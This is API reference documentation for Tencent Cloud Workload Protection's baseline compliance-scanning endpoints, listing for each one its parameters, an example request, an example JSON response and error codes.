PassRate	Integer	Policy scan pass rate

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		Note: This field may return null, indicating that no valid values can be obtained.
StrategyName	String	Policy name Note: This field may return null, indicating that no valid values can be obtained.
ScanCycle	String	policy scan cycle (days) Note: This field may return null, indicating that no valid values can be obtained.
ScanAt	String	Regular scan time. The scan task is triggered at this time. Note: This field may return null, indicating that no valid values can be obtained.
IsGlobal	Integer	Whether all hosts are scanned. 1: yes; 0: no. If the value is 1, all Pro Edition hosts are scanned.Note: This field may return null, indicating that no valid values can be obtained.
MachineType	String	Machine type: cvm: Tencent Cloud Virtual Machine bm: BM ecm: Edge Computing Machine lh: Lighthouse other: Hybrid Cloud Machine Note: This field may return null, indicating that no valid values can be obtained.
Region	String	Host region Note: This field may return null, indicating that no valid values can be obtained.
Quuids	Array of String	IDs of all user hosts involved in this policy Note: This field may return null, indicating that no valid values can be obtained.
CategoryIds	Array of String	IDs of all user baselines involved in this policy Note: This field may return null, indicating that no valid values can be obtained.
IfScanned	Integer	1: scanned; 0: not scanned.Note: This field may return null, indicating that no valid values can be obtained.
RequestId	String	The unique request ID, generated by the server, will be returned for every request (if the request fails to reach the server for other reasons, the request will not obtain a RequestId). RequestId is required for locating a problem.

4. Example

Example1 Querying Policy Details

This example shows you how to query details of a policy by policy ID.

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Input Example

```
https://cwp.intl.tencentcloudapi.com/?Action=DescribeBaselineStrategyDetail
&StrategyId=1
&<Common request parameters>
```

Output Example


```
{
"Response": {
"RequestId": "req-566234234",
"PassRate": 50,
"StrategyName": "Policy of level-1 classified protection of cyber security",
"ScanCycle": 1,
"ScanAt": "00:00:00",
"IsGlobal": 1,
"IfScanned": 1,
"MachineType": "cvm",
"Region": "ap-bj",
"Quuids": [
"2001",
"2002",
"2003"
],
"CategoryIds": [
1,
2,
3
]
}
}
```


5. Developer Resources

SDK

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6. Error Code

The following only lists the error codes related to the API business logic. For other error codes, see Common Error Codes.

Error Code	Description
InternalError	Internal error
InvalidParameter	Incorrect parameter.
InvalidParameter.MissingParameter	Missing parameter.
InvalidParameter.ParsingError	Incorrect parameter parsing.
InvalidParameterValue	Invalid parameter value.
MissingParameter	Missing parameter error.
ResourceNotFound	The resource does not exist.

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DescribeBaselineBasicInfo

Last updated：2025-03-11 23:00:06

1. API Description

Domain name for API request: cwp.intl.tencentcloudapi.com.

This API is used to query the list of baseline basic information.

A maximum of 20 requests can be initiated per second for this API.

We recommend you to use API Explorer
Try it
API Explorer provides a range of capabilities, including online call, signature authentication, SDK code generation, and API quick search. It enables you to view the request, response, and auto-generated examples.

2. Input Parameters

The following request parameter list only provides API request parameters and some common parameters. For the complete common parameter list, see Common Request Parameters.

Parameter Name	Required	Type	Description
Action	Yes	String	Common Params. The value used for this API: DescribeBaselineBasicInfo.
Version	Yes	String	Common Params. The value used for this API: 2018-02-28.
Region	No	String	Common Params. This parameter is not required.
BaselineName	No	String	Baseline name

3. Output Parameters

Parameter Name	Type	Description
BaselineBasicInfoList	Array of BaselineBasicInfo	Baseline basic information list Note: This field may return null, indicating that no valid values

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		can be obtained.
RequestId	String	The unique request ID, generated by the server, will be returned for every request (if the request fails to reach the server for other reasons, the request will not obtain a RequestId). RequestId is required for locating a problem.

4. Example

Example1 Querying the Basic Baseline Information List

This example shows you how to query the list of basic baseline information.

Input Example

```
https://cwp.intl.tencentcloudapi.com/?Action=DescribeBaselineBasicInfo
&BaselineName="Level-2 classified protection of cybersecurity"
&<Common request parameters>
```

Output Example

```
{
"Response": {
"BaselineBasicInfoList": [
{
"BaselineId": 1,
"Name": "BCX of level-2 cybersecurity classified protection",
"ParentId": 1
},
{
"BaselineId": 2,
"Name": "BCX of level-3 cybersecurity classified protection",
"ParentId": 2
}
],
"RequestId": "ea71992a-b484-4d9c-882a-419fb6d0a5b0"
}
}
```

5. Developer Resources

SDK

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6. Error Code

The following only lists the error codes related to the API business logic. For other error codes, see Common Error Codes.

Error Code	Description
InternalError	Internal error
InvalidParameter	Incorrect parameter.
InvalidParameter.MissingParameter	Missing parameter.
InvalidParameter.ParsingError	Incorrect parameter parsing.
InvalidParameterValue	Invalid parameter value.
MissingParameter	Missing parameter error.

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DescribeBaselineEffectHostList

Last updated：2024-12-06 15:41:27

1. API Description

Domain name for API request: cwp.intl.tencentcloudapi.com.

This API is used to query the list of hosts affected by a baseline based on baseline ID.

A maximum of 20 requests can be initiated per second for this API.

We recommend you to use API Explorer
Try it
API Explorer provides a range of capabilities, including online call, signature authentication, SDK code generation, and API quick search. It enables you to view the request, response, and auto-generated examples.

2. Input Parameters

The following request parameter list only provides API request parameters and some common parameters. For the complete common parameter list, see Common Request Parameters.

Parameter Name	Required	Type	Description
Action	Yes	String	Common Params. The value used for this API: DescribeBaselineEffectHostList.
Version	Yes	String	Common Params. The value used for this API: 2018-02-28.
Region	No	String	Common Params. This parameter is not required.
Limit	Yes	Integer	Pagination parameters (The maximum number is 100.)
Offset	Yes	Integer	Pagination parameter
BaselineId	Yes	Integer	Baseline ID
Filters.N	No	Array of Filters	Filter criteria • AliasName - String - host alias • Status- Uint: 1 - passed; 0 - failed; 5 - under detection
StrategyId	No	Integer	Policy ID

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UuidList.N	No	Array of String	Host UUID array

3. Output Parameters

Parameter Name	Type	Description
TotalCount	Integer	Total number of records Note: This field may return null, indicating that no valid values can be obtained.
EffectHostList	Array of BaselineEffectHost	List of affected servers Note: This field may return null, indicating that no valid values can be obtained.
RequestId	String	The unique request ID, generated by the server, will be returned for every request (if the request fails to reach the server for other reasons, the request will not obtain a RequestId). RequestId is required for locating a problem.

4. Example

Example1 Querying List of Hosts Affected by Baseline

This example shows you how to query the list of hosts affected by a baseline based on baseline ID.

Input Example

```
https://cwp.intl.tencentcloudapi.com/?Action=DescribeBaselineEffectHostList
&Limit=10
&Offset=0
&BaselineId=100441
&StrategyId=1
&<Common request parameters>
```

Output Example

```
{
"Response": {
"RequestId": "354f4ac3-8546-4516-8c8a-69e3ab73aa8a",
```

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```
"TotalCount": 21,
"EffectHostList": [
{
"PassCount": 100,
"FailCount": 100,
"FirstScanTime": "2019-12-25 11:57:15",
"LastScanTime": "2019-12-25 11:57:15",
"Status": 0,
"Quuid": "1c26308c-5493-4eaf-a817-112ec25f499e",
"HostIp": "xx.xx.xx.xx",
"AliasName": "Sales license test machine"
}
]
}
}
```


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6. Error Code

The following only lists the error codes related to the API business logic. For other error codes, see Common Error Codes.

Error Code	Description

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InternalError	Internal error
InvalidParameter	Incorrect parameter.
InvalidParameter.IllegalRequest	Invalid request.
InvalidParameter.MissingParameter	Missing parameter.
InvalidParameter.ParsingError	Incorrect parameter parsing.
InvalidParameterValue	Invalid parameter value.
MissingParameter	Missing parameter error.

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DescribeBaselineList

Last updated：2024-12-06 15:41:26

1. API Description

Domain name for API request: cwp.intl.tencentcloudapi.com.

This API is used to query the information of the baseline list.

A maximum of 20 requests can be initiated per second for this API.

We recommend you to use API Explorer

Try it

API Explorer provides a range of capabilities, including online call, signature authentication, SDK code generation, and API quick search. It enables you to view the request, response, and auto-generated examples.

2. Input Parameters

The following request parameter list only provides API request parameters and some common parameters. For the complete common parameter list, see Common Request Parameters.

Parameter Name	Required	Type	Description
Action	Yes	String	Common Params. The value used for this API: DescribeBaselineList.
Version	Yes	String	Common Params. The value used for this API: 2018-02-28.
Region	No	String	Common Params. This parameter is not required.
Limit	Yes	Integer	Pagination parameter, indicating the number of entries per page. Maximum value: 100.
Offset	Yes	Integer	Pagination parameter
Filters.N	No	Array of Filters	Filtering criteria • StrategyId - Uint64 - baseline policy ID • Status - Uint64 - processing status: 1: passed; 0: failed • Level - Uint64[] - risk level: 1: low; 2: medium; 3: high; 4: critical • BaselineName - String - baseline name • Quuid - String - host QUUID

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			• Uuid - String - host UUID

3. Output Parameters

Parameter Name	Type	Description
BaselineList	Array of BaselineInfo	List of baseline information Note: This field may return null, indicating that no valid values can be obtained.
TotalCount	Integer	Total number of records for paging query Note: This field may return null, indicating that no valid values can be obtained.
RequestId	String	The unique request ID, generated by the server, will be returned for every request (if the request fails to reach the server for other reasons, the request will not obtain a RequestId). RequestId is required for locating a problem.

4. Example

Example1 Querying Baseline List API

This example shows you how to query baseline list information based on filter parameters.

Input Example

```
https://cwp.intl.tencentcloudapi.com/?Action=DescribeBaselineList
&Limit=10
&Offset=0
&<Common request parameters>
```

Output Example

```
{
"Response": {
"RequestId": "f1dd9f5e-4ac0-48a7-9410-c86d24656d9a",
"TotalCount": 2,
"BaselineList": [
{
"Name": "Baseline name 1",
"Level": 1,
"RuleCount": 11,
"HostCount": 12,
```

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```
"Status": 0
},
{
"Name": "Baseline name 2",
"Level": 1,
"RuleCount": 11,
"HostCount": 12,
"Status": 0
}
]
}
}
```


5. Developer Resources

SDK

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6. Error Code

The following only lists the error codes related to the API business logic. For other error codes, see Common Error Codes.

Error Code	Description
InternalError	Internal error

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InvalidParameter	Incorrect parameter.
InvalidParameter.IllegalRequest	Invalid request.
InvalidParameter.MissingParameter	Missing parameter.
InvalidParameter.ParsingError	Incorrect parameter parsing.
InvalidParameterValue	Invalid parameter value.
MissingParameter	Missing parameter error.

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DescribeBaselineDetail

Last updated：2024-12-06 15:41:28

1. API Description

Domain name for API request: cwp.intl.tencentcloudapi.com.

This API is used to query baseline details by baseline ID.

A maximum of 20 requests can be initiated per second for this API.

We recommend you to use API Explorer

Try it

API Explorer provides a range of capabilities, including online call, signature authentication, SDK code generation, and API quick search. It enables you to view the request, response, and auto-generated examples.

2. Input Parameters

The following request parameter list only provides API request parameters and some common parameters. For the complete common parameter list, see Common Request Parameters.

Parameter Name	Required	Type	Description
Action	Yes	String	Common Params. The value used for this API: DescribeBaselineDetail.
Version	Yes	String	Common Params. The value used for this API: 2018-02-28.
Region	No	String	Common Params. This parameter is not required.
BaselineId	Yes	Integer	Baseline ID

3. Output Parameters

Parameter Name	Type	Description
BaselineDetail	BaselineDetail	Baseline details

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		Note: This field may return null, indicating that no valid values can be obtained.
RequestId	String	The unique request ID, generated by the server, will be returned for every request (if the request fails to reach the server for other reasons, the request will not obtain a RequestId). RequestId is required for locating a problem.

4. Example

Example1 Querying Baseline Details

This example shows you how to query baseline details based on the baseline ID.

Input Example

```
https://cwp.intl.tencentcloudapi.com/?Action=DescribeBaselineDetail
&BaselineId=5
&<Common request parameters>
```

Output Example

```
{
"Response": {
"RequestId": "req-566234234",
"BaselineDetail": {
"Description": "Baseline details description",
"Level": 1,
"PackageName": "xx",
"ParentId": 1,
"Name": "xx"
}
}
}
```

5. Developer Resources

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6. Error Code

The following only lists the error codes related to the API business logic. For other error codes, see Common Error Codes.

Error Code	Description
InternalError	Internal error
InvalidParameter	Incorrect parameter.
InvalidParameter.MissingParameter	Missing parameter.
InvalidParameter.ParsingError	Incorrect parameter parsing.
InvalidParameterValue	Invalid parameter value.
MissingParameter	Missing parameter error.

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ScanBaseline

Last updated：2024-12-06 15:41:20

1. API Description

Domain name for API request: cwp.intl.tencentcloudapi.com.

This API is used to obtain baseline detection and re-detection APIs.

A maximum of 20 requests can be initiated per second for this API.

We recommend you to use API Explorer

Try it

API Explorer provides a range of capabilities, including online call, signature authentication, SDK code generation, and API quick search. It enables you to view the request, response, and auto-generated examples.

2. Input Parameters

The following request parameter list only provides API request parameters and some common parameters. For the complete common parameter list, see Common Request Parameters.

Parameter Name	Required	Type	Description
Action	Yes	String	Common Params. The value used for this API: ScanBaseline.
Version	Yes	String	Common Params. The value used for this API: 2018-02-28.
Region	No	String	Common Params. This parameter is not required.
StrategyIdList.N	No	Array of Integer	Policy ID array (Either StrategyIdList, CategoryIdList, or RuleIdList must be selected.)
CategoryIdList.N	No	Array of Integer	Baseline ID array (Either StrategyIdList, CategoryIdList, or RuleIdList must be selected.)
RuleIdList.N	No	Array of Integer	Detection item ID array (Either StrategyIdList, CategoryIdList, or RuleIdList must be selected.)
QuuidList.N	No	Array of String	Not required when StrategyIdList is selected, but required in other cases.

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UuidList.N	No	Array of String	Host UUID array

3. Output Parameters

Parameter Name	Type	Description
ScanningQuuids	Array of String	QUUID of the host being scanned Note: This field may return null, indicating that no valid values can be obtained.
TaskId	Integer	TaskId returned upon successful task distribution Note: This field may return null, indicating that no valid values can be obtained.
RequestId	String	The unique request ID, generated by the server, will be returned for every request (if the request fails to reach the server for other reasons, the request will not obtain a RequestId). RequestId is required for locating a problem.

4. Example

Example1 Performing a Baseline Check

This example shows you how to perform baseline checks.

Input Example

```
https://cwp.intl.tencentcloudapi.com/?Action=ScanBaseline
&StrategyIdList.0=1
&StrategyIdList.1=2
&StrategyIdList.2=3
&CategoryIdList.0=0
&CategoryIdList.1=1
&CategoryIdList.2=2
&RuleIdList.0=1
&RuleIdList.1=2
&RuleIdList.2=3
&QuuidList.0="aaa"
&QuuidList.1="bbb"
&<Common request parameters>
```

Output Example

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```
{
"Response": {
"RequestId": "req-566234234",
"ScanningQuuids": [
"Quuid1",
"Quuid2"
],
"TaskId": 120
}
}
```

5. Developer Resources

SDK

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6. Error Code

The following only lists the error codes related to the API business logic. For other error codes, see Common Error Codes.

Error Code	Description
FailedOperation	Operation failed.
FailedOperation.APIServerFail	Failed to invoke the API service.

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FailedOperation.NoProfessionHost	No Pro Edition host.
InternalError	Internal error
InvalidParameter	Incorrect parameter.
InvalidParameter.MissingParameter	Missing parameter.
InvalidParameter.ParsingError	Incorrect parameter parsing.
InvalidParameterValue	Invalid parameter value.
MissingParameter	Missing parameter error.
OperationDenied	The operation was denied.
ResourceNotFound	The resource does not exist.
ResourceNotFound.MachineNotFound	The scanning machine does not exist.

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DescribeBaselineScanSchedule

Last updated：2024-12-06 15:41:25

1. API Description

Domain name for API request: cwp.intl.tencentcloudapi.com.

This API is used to query the baseline detection progress by task ID.

A maximum of 20 requests can be initiated per second for this API.

We recommend you to use API Explorer

Try it

API Explorer provides a range of capabilities, including online call, signature authentication, SDK code generation, and API quick search. It enables you to view the request, response, and auto-generated examples.

2. Input Parameters

The following request parameter list only provides API request parameters and some common parameters. For the complete common parameter list, see Common Request Parameters.

Parameter Name	Required	Type	Description
Action	Yes	String	Common Params. The value used for this API: DescribeBaselineScanSchedule.
Version	Yes	String	Common Params. The value used for this API: 2018-02-28.
Region	No	String	Common Params. This parameter is not required.
TaskId	Yes	Integer	Task ID

3. Output Parameters

Parameter Name	Type	Description
Schedule	Integer	Check progress (percentage)

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		Note: This field may return null, indicating that no valid values can be obtained.
RequestId	String	The unique request ID, generated by the server, will be returned for every request (if the request fails to reach the server for other reasons, the request will not obtain a RequestId). RequestId is required for locating a problem.

4. Example

Example1 Querying Detection Progress API

This example shows you how to query the baseline detection progress by task ID.

Input Example

```
https://cwp.intl.tencentcloudapi.com/?Action=DescribeBaselineScanSchedule
&TaskId=1
&<Common request parameters>
```

Output Example

```
{
"Response": {
"RequestId": "req-566234234",
"Schedule": 20
}
}
```

5. Developer Resources

SDK

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6. Error Code

The following only lists the error codes related to the API business logic. For other error codes, see Common Error Codes.

Error Code	Description
InternalError	Internal error
InvalidParameter	Incorrect parameter.
InvalidParameter.MissingParameter	Missing parameter.
InvalidParameter.ParsingError	Incorrect parameter parsing.
InvalidParameterValue	Invalid parameter value.
MissingParameter	Missing parameter error.
ResourceNotFound	The resource does not exist.

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CheckFirstScanBaseline

Last updated：2024-12-06 15:41:30

1. API Description

Domain name for API request: cwp.intl.tencentcloudapi.com.

This API is used to query whether the baseline is detected for the first time.

A maximum of 20 requests can be initiated per second for this API.

We recommend you to use API Explorer

Try it

API Explorer provides a range of capabilities, including online call, signature authentication, SDK code generation, and API quick search. It enables you to view the request, response, and auto-generated examples.

2. Input Parameters

The following request parameter list only provides API request parameters and some common parameters. For the complete common parameter list, see Common Request Parameters.

Parameter Name	Required	Type	Description
Action	Yes	String	Common Params. The value used for this API: CheckFirstScanBaseline.
Version	Yes	String	Common Params. The value used for this API: 2018-02-28.
Region	No	String	Common Params. This parameter is not required.

3. Output Parameters

Parameter Name	Type	Description
FirstScan	Integer	Whether the first detection: 0 - no; 1 - yes
RequestId	String	The unique request ID, generated by the server, will be returned for every request (if

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		the request fails to reach the server for other reasons, the request will not obtain a RequestId). RequestId is required for locating a problem.

4. Example

Example1 Whether User is Detecting for the First Time

This example shows how to determine whether the user is detecting for the first time.

Input Example

```
https://cwp.intl.tencentcloudapi.com/?Action=CheckFirstScanBaseline
&<Common request parameters>
```

Output Example

```
{
"Response": {
"RequestId": "req-566234234",
"FirstScan": 0
}
}
```

5. Developer Resources

SDK

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6. Error Code

The following only lists the error codes related to the API business logic. For other error codes, see Common Error Codes.

Error Code	Description
InternalError	Internal error

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ChangeStrategyEnableStatus

Last updated：2024-12-06 15:41:31

1. API Description

Domain name for API request: cwp.intl.tencentcloudapi.com.

This API is used to change the policy availability status by policy ID.

A maximum of 20 requests can be initiated per second for this API.

We recommend you to use API Explorer
Try it
API Explorer provides a range of capabilities, including online call, signature authentication, SDK code generation, and API quick search. It enables you to view the request, response, and auto-generated examples.

2. Input Parameters

The following request parameter list only provides API request parameters and some common parameters. For the complete common parameter list, see Common Request Parameters.

Parameter Name	Required	Type	Description
Action	Yes	String	Common Params. The value used for this API: ChangeStrategyEnableStatus.
Version	Yes	String	Common Params. The value used for this API: 2018-02-28.
Region	No	String	Common Params. This parameter is not required.
StrategyId	Yes	Integer	Baseline policy ID
Status	Yes	Integer	Enabling status

3. Output Parameters

Parameter Name	Type	Description

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RequestId	String	The unique request ID, generated by the server, will be returned for every request (if the request fails to reach the server for other reasons, the request will not obtain a RequestId). RequestId is required for locating a problem.

4. Example

Example1 Modifying the Available Status of Policies API

This example shows you how to modify the available status of a policy based on a policy ID.

Input Example

```
https://cwp.intl.tencentcloudapi.com/?Action=ChangeStrategyEnableStatus
&StrategyId=1
&Status=0
&<Common request parameters>
```

Output Example

```
{
"Response": {
"RequestId": "354f4ac3-8546-4516-8c8a-69e3ab73aa8a"
}
}
```

5. Developer Resources

SDK

TencentCloud API 3.0 integrates SDKs that support various programming languages to make it easier for you to call APIs.

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- Tencent Cloud SDK 3.0 for Java
- Tencent Cloud SDK 3.0 for PHP
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Command Line Interface

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6. Error Code

The following only lists the error codes related to the API business logic. For other error codes, see Common Error Codes.

Error Code	Description
InternalError	Internal error
InvalidParameter	Incorrect parameter.
InvalidParameter.MissingParameter	Missing parameter.
InvalidParameter.ParsingError	Incorrect parameter parsing.
InvalidParameterValue	Invalid parameter value.
MissingParameter	Missing parameter error.

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ChangeRuleEventsIgnoreStatus

Last updated：2024-12-06 15:41:31

1. API Description

Domain name for API request: cwp.intl.tencentcloudapi.com.

This API is used to ignore events or cancel ignoring in batches based on check item ID or event ID.

A maximum of 20 requests can be initiated per second for this API.

We recommend you to use API Explorer

Try it

API Explorer provides a range of capabilities, including online call, signature authentication, SDK code generation, and API quick search. It enables you to view the request, response, and auto-generated examples.

2. Input Parameters

The following request parameter list only provides API request parameters and some common parameters. For the complete common parameter list, see Common Request Parameters.

Parameter Name	Required	Type	Description
Action	Yes	String	Common Params. The value used for this API: ChangeRuleEventsIgnoreStatus.
Version	Yes	String	Common Params. The value used for this API: 2018-02-28.
Region	No	String	Common Params. This parameter is not required.
IgnoreStatus	Yes	Integer	Ignore status: 0: unignore; 1: ignore
RuleIdList.N	No	Array of Integer	Detection item ID array
EventIdList.N	No	Array of Integer	Event ID array

3. Output Parameters

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Parameter Name	Type	Description
RequestId	String	The unique request ID, generated by the server, will be returned for every request (if the request fails to reach the server for other reasons, the request will not obtain a RequestId). RequestId is required for locating a problem.

4. Example

Example1 Modifying the Ignoring Status of Event API

This example shows you how to perform batch ignore operations based on detection item ID or event ID.

Input Example

```
https://cwp.intl.tencentcloudapi.com/?Action=ChangeRuleEventsIgnoreStatus
&IgnoreStatus=1
&EventIdList.0=1
&RuleIdList.0=1
&<Common request parameters>
```

Output Example

```
{
"Response": {
"RequestId": "354f4ac3-8546-4516-8c8a-69e3ab73aa8a"
}
}
```

5. Developer Resources

SDK

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Command Line Interface

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6. Error Code

The following only lists the error codes related to the API business logic. For other error codes, see Common Error Codes.

Error Code	Description
InternalError	Internal error
InvalidParameter	Incorrect parameter.
InvalidParameter.MissingParameter	Missing parameter.
InvalidParameter.ParsingError	Incorrect parameter parsing.
InvalidParameterValue	Invalid parameter value.
MissingParameter	Missing parameter error.

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DescribeIgnoreBaselineRule

Last updated：2024-12-06 15:41:24

1. API Description

Domain name for API request: cwp.intl.tencentcloudapi.com.

This API is used to query the information of ignored inspection items.

A maximum of 20 requests can be initiated per second for this API.

We recommend you to use API Explorer

Try it

API Explorer provides a range of capabilities, including online call, signature authentication, SDK code generation, and API quick search. It enables you to view the request, response, and auto-generated examples.

2. Input Parameters

The following request parameter list only provides API request parameters and some common parameters. For the complete common parameter list, see Common Request Parameters.

Parameter Name	Required	Type	Description
Action	Yes	String	Common Params. The value used for this API: DescribeIgnoreBaselineRule.
Version	Yes	String	Common Params. The value used for this API: 2018-02-28.
Region	No	String	Common Params. This parameter is not required.
Limit	Yes	Integer	Pagination parameters (The maximum quantity is 100)
Offset	Yes	Integer	Pagination parameter
RuleName	No	String	Detection item name

3. Output Parameters

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Parameter Name	Type	Description
IgnoreBaselineRuleList	Array of IgnoreBaselineRule	List of ignored baseline check items Note: This field may return null, indicating that no valid values can be obtained.
TotalCount	Integer	Total number of pagination query records Note: This field may return null, indicating that no valid values can be obtained.
RequestId	String	The unique request ID, generated by the server, will be returned for every request (if the request fails to reach the server for other reasons, the request will not obtain a RequestId). RequestId is required for locating a problem.

4. Example

Example1 Querying Information of Detection Items That Have Been Ignored

This example shows you how to query the information of detection items that have been ignored.

Input Example

```
https://cwp.intl.tencentcloudapi.com/?Action=DescribeIgnoreBaselineRule
&Limit=10
&Offset=0
&RuleName=test
&<Common request parameters>
```

Output Example

```
{
"Response": {
"RequestId": "354f4ac3-8546-4516-8c8a-69e3ab73aa8a",
"TotalCount": 100,
"IgnoreBaselineRuleList": [
{
"RuleName": "Detection item 1",
"RuleId": 1,
"EffectHostCount": 20,
"ModifyTime": "2020-11-11 :00:00:00",
"Fix": "Restart"
},
{
```

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```
"RuleName": "Detection item 2",
"EffectHostCount": 25,
"RuleId": 12,
"ModifyTime": "2020-11-11 :00:00:50",
"Fix": "Restart twice"
}
]
}
}
```


5. Developer Resources

SDK

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- Tencent Cloud CLI 3.0

6. Error Code

The following only lists the error codes related to the API business logic. For other error codes, see Common Error Codes.

Error Code	Description
InternalError	Internal error
InvalidParameter	Incorrect parameter.
InvalidParameter.MissingParameter	Missing parameter.

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InvalidParameter.ParsingError	Incorrect parameter parsing.
InvalidParameterValue	Invalid parameter value.
MissingParameter	Missing parameter error.

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DescribeIgnoreRuleEffectHostList

Last updated：2024-12-06 15:41:23

1. API Description

Domain name for API request: cwp.intl.tencentcloudapi.com.

This API is used to query the information on the list of hosts affected by ignored detection items based on detection item IDs and filter criteria.

A maximum of 20 requests can be initiated per second for this API.

We recommend you to use API Explorer

Try it

API Explorer provides a range of capabilities, including online call, signature authentication, SDK code generation, and API quick search. It enables you to view the request, response, and auto-generated examples.

2. Input Parameters

The following request parameter list only provides API request parameters and some common parameters. For the complete common parameter list, see Common Request Parameters.

Parameter Name	Required	Type	Description
Action	Yes	String	Common Params. The value used for this API: DescribeIgnoreRuleEffectHostList.
Version	Yes	String	Common Params. The value used for this API: 2018-02-28.
Region	No	String	Common Params. This parameter is not required.
Limit	Yes	Integer	Pagination parameters (The maximum quantity is 100)
Offset	Yes	Integer	Pagination parameter
RuleId	Yes	Integer	Detection Item ID
Filters.N	No	Array of Filters	Filter criteria • AliasName - String - host alias
TagNames.N	No	Array of	Host tag name

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		String	

3. Output Parameters

Parameter Name	Type	Description
IgnoreRuleEffectHostList	Array of IgnoreRuleEffectHostInfo	List of hosts affected by ignored check items Note: This field may return null, indicating that no valid values can be obtained.
TotalCount	Integer	Total number of records for paging query
RequestId	String	The unique request ID, generated by the server, will be returned for every request (if the request fails to reach the server for other reasons, the request will not obtain a RequestId). RequestId is required for locating a problem.

4. Example

Example1 Obtaining the List of Hosts Affected by Ignored Check Items

This example shows you how to obtain the list of hosts affected by ignored check items based on check item ID.

Input Example

```
https://cwp.intl.tencentcloudapi.com/?Action=DescribeIgnoreRuleEffectHostList
&Limit=10
&Offset=0
&RuleId=1
&TagNames.0=tag
&<Common request parameters>
```

Output Example

```
{
"Response": {
"IgnoreRuleEffectHostList": [
{
"HostName": "Test host 3",
"Level": "1",
"TagList": [
```

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```
"Exhibition"
],
"Status": 1,
"LastScanTime": "2020-06-16 09:13:54",
"EventId": 666,
"Quuid": "23220"
},
{
"HostName": "Test host 3",
"Level": "3",
"TagList": [
"Exhibition"
],
"Status": 1,
"LastScanTime": "2020-06-16 09:13:54",
"EventId": 666,
"Quuid": "23220"
}
],
"RequestId": "f1dd9f5e-4ac0-48a7-9410-c86d24656d9a",
"TotalCount": 2
}
}
```


5. Developer Resources

SDK

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6. Error Code

The following only lists the error codes related to the API business logic. For other error codes, see Common Error Codes.

Error Code	Description
InternalError	Internal error
InvalidParameter	Incorrect parameter.
InvalidParameter.IllegalRequest	Invalid request.
InvalidParameter.MissingParameter	Missing parameter.
InvalidParameter.ParsingError	Incorrect parameter parsing.
InvalidParameterValue	Invalid parameter value.
MissingParameter	Missing parameter error.

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DescribeBaselineRule

Last updated：2024-12-06 15:41:26

1. API Description

Domain name for API request: cwp.intl.tencentcloudapi.com.

This API is used to query the information on corresponding check items based on baseline ID.

A maximum of 20 requests can be initiated per second for this API.

We recommend you to use API Explorer
Try it
API Explorer provides a range of capabilities, including online call, signature authentication, SDK code generation, and API quick search. It enables you to view the request, response, and auto-generated examples.

2. Input Parameters

The following request parameter list only provides API request parameters and some common parameters. For the complete common parameter list, see Common Request Parameters.

Parameter Name	Required	Type	Description
Action	Yes	String	Common Params. The value used for this API: DescribeBaselineRule.
Version	Yes	String	Common Params. The value used for this API: 2018-02-28.
Region	No	String	Common Params. This parameter is not required.
BaselineId	Yes	Integer	Baseline ID
Limit	Yes	Integer	Pagination limit, with the maximum value being 100.
Offset	Yes	Integer	Pagination parameter
Level.N	No	Array of Integer	Severity level
Status	No	Integer	Status

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Quuid	No	String	Host QUUID
Uuid	No	String	Host UUID

3. Output Parameters

Parameter Name	Type	Description
TotalCount	Integer	Total number of pagination query records
BaselineRuleList	Array of BaselineRuleInfo	Baseline check item list Note: This field may return null, indicating that no valid values can be obtained.
ShowRuleRemark	Boolean	Whether to display the description column. True: yes; false: no.Note: This field may return null, indicating that no valid values can be obtained.
RequestId	String	The unique request ID, generated by the server, will be returned for every request (if the request fails to reach the server for other reasons, the request will not obtain a RequestId). RequestId is required for locating a problem.

4. Example

Example1 Querying Baseline Detection Item Information

This example shows you how to query baseline detection item information based on the baseline ID and conditions.

Input Example

```
https://cwp.intl.tencentcloudapi.com/?Action=DescribeBaselineRule
&BaselineId=100441
&Level.0=1
&Status=0
&Quuid="8c8a-69e3ab73aa8a"
&Uuid="asdasd123-124sfas"
&Limit=10
&Offset=0
&<Common request parameters>
```

Output Example

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```
{
"Response": {
"RequestId": "354f4ac3-8546-4516-8c8a-69e3ab73aa8a",
"TotalCount": 21,
"ShowRuleRemark": true,
"BaselineRuleList": [
{
"RuleName": "Security detection item 1",
"Description": "Security detection item 1 description",
"FixMessage": "Restart the service",
"Level": 1,
"Status": 0,
"RuleId": 1,
"LastScanAt": "2020-09-16 : 00:00:00",
"EventId": 1,
"Uuid": "Uuid"
}
]
}
}
```


5. Developer Resources

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6. Error Code

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The following only lists the error codes related to the API business logic. For other error codes, see Common Error Codes.

Error Code	Description
InternalError	Internal error
InvalidParameter	Incorrect parameter.
InvalidParameter.MissingParameter	Missing parameter.
InvalidParameter.ParsingError	Incorrect parameter parsing.
InvalidParameterValue	Invalid parameter value.
MissingParameter	Missing parameter error.

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ExportBaselineEffectHostList

Last updated：2024-12-06 15:41:22

1. API Description

Domain name for API request: cwp.intl.tencentcloudapi.com.

This API is used to export the list of hosts affected by baseline.

A maximum of 20 requests can be initiated per second for this API.

We recommend you to use API Explorer

Try it

API Explorer provides a range of capabilities, including online call, signature authentication, SDK code generation, and API quick search. It enables you to view the request, response, and auto-generated examples.

2. Input Parameters

The following request parameter list only provides API request parameters and some common parameters. For the complete common parameter list, see Common Request Parameters.

Parameter Name	Required	Type	Description
Action	Yes	String	Common Params. The value used for this API: ExportBaselineEffectHostList.
Version	Yes	String	Common Params. The value used for this API: 2018-02-28.
Region	No	String	Common Params. This parameter is not required.
BaselineId	Yes	Integer	Baseline ID
Filters.N	No	Array of Filters	Filtering criteria • AliasName - String - host alias
StrategyId	No	Integer	Policy ID
UuidList.N	No	Array of String	Host UUID array
BaselineName	No	String	Baseline name

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3. Output Parameters

Parameter Name	Type	Description
DownloadUrl	String	This parameter has been discarded. Note: This field may return null, indicating that no valid values can be obtained.
TaskId	String	Task ID, required for obtaining the DownloadURL at API Asynchronous Export Task ExportTasks
RequestId	String	The unique request ID, generated by the server, will be returned for every request (if the request fails to reach the server for other reasons, the request will not obtain a RequestId). RequestId is required for locating a problem.

4. Example

Example1 Exporting the List of Hosts Affected by the Vulnerability

This example shows you how to export the list data of hosts affected by the vulnerability.

Input Example

```
https://cwp.intl.tencentcloudapi.com/?Action=ExportBaselineEffectHostList
&BaselineId=1
&<Common request parameters>
```

Output Example

```
{
"Response": {
"DownloadUrl": "https://download.com/*",
"RequestId": "requestId",
"TaskId": "10001"
}
}
```

5. Developer Resources

SDK

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- Tencent Cloud CLI 3.0

6. Error Code

The following only lists the error codes related to the API business logic. For other error codes, see Common Error Codes.

Error Code	Description
InternalError	Internal error
InvalidParameter	Incorrect parameter.
InvalidParameter.MissingParameter	Missing parameter.
InvalidParameter.ParsingError	Incorrect parameter parsing.
InvalidParameterValue	Invalid parameter value.
MissingParameter	Missing parameter error.

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ExportBaselineList

